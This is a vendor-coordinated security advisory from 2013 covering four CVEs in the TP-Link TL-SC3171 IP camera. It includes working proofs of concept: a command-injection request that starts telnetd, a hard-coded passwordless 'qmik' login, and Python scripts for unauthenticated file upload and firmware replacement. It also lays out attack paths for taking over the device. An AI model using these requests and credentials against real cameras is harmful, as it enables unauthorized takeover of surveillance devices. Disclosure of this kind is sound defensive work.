TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities

Core Security - Corelabs Advisory

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Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras





1. *Advisory Information*



Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras

Advisory ID: CORE-2013-0618

Advisory URL:

http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras

Date published: 2013-07-30

Date of last update: 2013-07-30

Vendors contacted: TP-Link

Release mode: Coordinated release





2. *Vulnerability Information*



Class: OS command injection [CWE-78], Use of hard-coded credentials

[CWE-798], Authentication Bypass Issues [CWE-592], Missing

Authentication for Critical Function [CWE-306]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581





3. *Vulnerability Description*



Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP

camera running firmware version LM.1.6.18P12_sign5 that could allow an

attacker:



   1. [CVE-2013-2578] to execute arbitrary commands through the file

'/cgi-bin/admin/servetest'.

   2. [CVE-2013-2579] to execute arbitrary commands in a shell using

hard-coded credentials.

   3. [CVE-2013-2580] to perform unauthenticated remote file uploads.

   5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.



3.1. *Attack Paths*



There are several attack paths that can be exploited by combining these

vulnerabilities with other ones discovered by Eliezer Varade Lopez,

Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack

paths are available, but the ones listed here allow understanding how an

attacker could compromise the affected device.



3.1.1. *Attack Path I*



(Authentication: none)



   1. Upload a rooted firmware exploiting [CVE-2013-2581].

   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].



3.1.2. *Attack Path II*



(Authentication: bypassed)



   1. Reset the device to its factory defaults exploiting

'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the

authentication can by bypassed by using 'admin:admin' as a valid

'username:password'.

   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].

   3. Start the Telnet service exploiting [CVE-2013-2578].

   4. Login to the Telnet service using user 'qmik' (no password)

[CVE-2013-2579], and use the device as a pivoting point.



4. *Vulnerable Packages*



Tests and PoC were run on:



   . TP-Link TL-SC3171 IP camera running firmware version

LM.1.6.18P12_sign5.

   . Other TP-Link cameras and firmware versions are probably affected

too, but they were not checked.



5. *Vendor Information, Solutions and Workarounds*



Vendor provides the links to (pre-release) patched firmware versions

[3]. The final official versions will be released in the next few days.

Please, contact TP-Link for further information.



6. *Credits*



These vulnerabilities were discovered by Flavio de Cristofaro and

researched with the help of Andres Blanco from Core Security

Technologies. The publication of this advisory was coordinated by

Fernando Miranda from Core Advisories Team.





7. *Technical Description / Proof of Concept Code*



7.1. *OS Command Injection in servetest*



[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command

injection in several of its parameters that can be exploited by an

authenticated user to execute arbitrary commands. The following proof of

concept starts the telnetd service:



/-----

GET

/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q

HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: http://192.168.1.100/progress.htm

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;

Trident/5.0)

Host: 192.168.1.100

Proxy-Connection: Keep-Alive

Cookie: VideoFmt=1

Authorization: Basic YWRtaW46YWRtaW4=

Content-Length: 2

-----/



7.2. *Hard-coded credentials in telnet service*



[CVE-2013-2579] The affected system includes a hard-coded login with no

password which could be used by a remote attacker to access the OS of

the affected device using the built-in telnet service:



/-----

username: qmik

password: (none)      

-----/



The 'qmik' user is allowed to execute the command 'su', allowing the

user to execute arbitrary commands with root level privileges. The

telnet service can be enabled through [CVE-2013-2578].





7.3. *Unauthenticated remote file uploads*



[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated

user to perform remote file uploads as shown in the following Python PoC:





/-----

import requests



fileName = "lala.tmp"

f = open(fileName, "w")

f.write("lala")

f.close()

requests.post("http://192.168.1.100/cgi-bin/uploadfile",

files={fileName: open(fileName, "rb")})

-----/



The uploaded file (in this example lala.tmp) will be hosted in the

'/mnt/mtd' directory.





7.4. *Unauthenticated remote firmware upgrades*



[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an

unauthenticated user to perform remote firmware upgrades as shown in the

following Python POC:





/-----

import requests



requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset")

fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"

cookies={"VideoFmt":"1"}

requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset",

files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)

-----/





8. *Report Timeline*



. 2013-06-12:

Core Security Technologies notifies the TP-Link team of the vulnerability.



. 2013-06-18:

Core Security Technologies notifies the TP-Link team of the

vulnerability and set the estimated publication date of the advisory for

July 10, 2013.



. 2013-06-19:

TP-Link answers saying that these vulnerabilities are the same as the

ones published on May 28, 2013.



. 2013-06-26:

Core Security Technologies notifies the TP-Link team that these are new,

different, vulnerabilities and sends a draft report with technical

information.



. 2013-06-26:

Vendor acknowledges the receipt of the technical report.



. 2013-07-01:

Vendor requests additional technical information.



. 2013-07-04:

Core re-sends an improved technical report with additional information

regarding possible attack paths [Sec. 3.1].



. 2013-07-10:

First release date missed.



. 2013-07-15:

Core asks for a status update.



. 2013-07-22:

Vendor notifies that a patched firmware version will be released on July

29th.



. 2013-07-22:

Core re-schedules the advisory publication for July 29th.



. 2013-07-26:

Vendor notifies that a (pre-release) patched firmware version is

available [3] and being tested. The final firmware version will be

released in the next few days.



. 2013-07-30:

Advisory CORE-2013-0618 is published.





9. *References*



[1] TP-Link TL-SC3171,

http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.

[2] Security Analysis of IP video surveillance cameras,

http://seclists.org/fulldisclosure/2013/Jun/84.

[3] See the online version,

http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.





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12. *Disclaimer*



The contents of this advisory are copyright (c) 2013 Core Security

Technologies and (c) 2013 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/





13. *PGP/GPG Keys*



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Technologies advisories team, which is available for download at

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